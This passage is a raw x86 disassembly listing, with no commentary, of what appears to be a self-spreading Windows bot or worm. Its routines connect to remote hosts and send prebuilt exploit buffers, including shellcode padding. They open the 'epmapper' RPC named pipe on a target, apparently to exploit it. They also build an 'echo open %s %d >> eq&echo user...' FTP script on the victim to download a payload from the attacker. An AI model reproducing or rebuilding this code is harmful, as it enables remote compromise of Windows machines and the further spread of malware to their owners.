		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h

loc_402817:				; CODE XREF: sub_4024DC+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_4024DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283D	proc near		; CODE XREF: sub_402988+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4211D8	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, word_424F58
		push	eax
		call	dword_4211DC	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4211E0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40295D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	dword_4211E8	; recv
		mov	esi, offset byte_42C1FC
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aDd_	; "dd."
		push	offset aDd	; "dd"
		push	offset a78712	; "78712"
		push	offset dword_468994
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211EC
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961

loc_40295D:				; CODE XREF: sub_40283D+54j
					; sub_40283D+6Aj ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------

loc_402961:				; CODE XREF: sub_40283D+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	dword_4211E8	; recv
		push	[ebp+var_4]
		call	dword_4211F0	; closesocket
		mov	al, 1

loc_402983:				; CODE XREF: sub_40283D+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]

loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155D0
		mov	ax, word_424F58
		add	esp, 2Ch
		push	eax
		call	dword_4211DC	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]

loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------

loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155D0
		mov	eax, dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax

loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17

loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------

loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------

loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155D0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h

loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40283D
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: seg000:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_4211D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	dword_4211DC	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_4211E0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211E8
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1

loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------

loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------

loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1

loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30

loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1

loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	dword_4211F0	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax

loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9

loc_402FD6:				; CODE XREF: seg000:00402FD0j
		push	1
		pop	eax

loc_402FD9:				; CODE XREF: seg000:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: sub_4033CB+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_438FBC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438FB8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43A438
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB

loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43A438

loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------

loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax

loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: sub_4033CB+7Ap
					; sub_4033CB+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_438FBC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		add	esp, 10h

loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43A2D8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_403151
; ---------------------------------------------------------------------------

loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: sub_4033CB+A9p
					; sub_4033CB+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D70
		push	esi
		push	edi
		push	offset byte_42C1FC
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414E04
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------

loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------

loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3

loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A

loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------

loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC

loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155D0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155D0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DC9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415570
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155D0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033CB	proc near		; CODE XREF: seg000:00402FA3p
					; sub_40778B+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D70
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403450

loc_403441:				; CODE XREF: sub_4033CB+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------

loc_403450:				; CODE XREF: sub_4033CB+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_412B98
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DC9
		mov	esi, eax
		push	edi
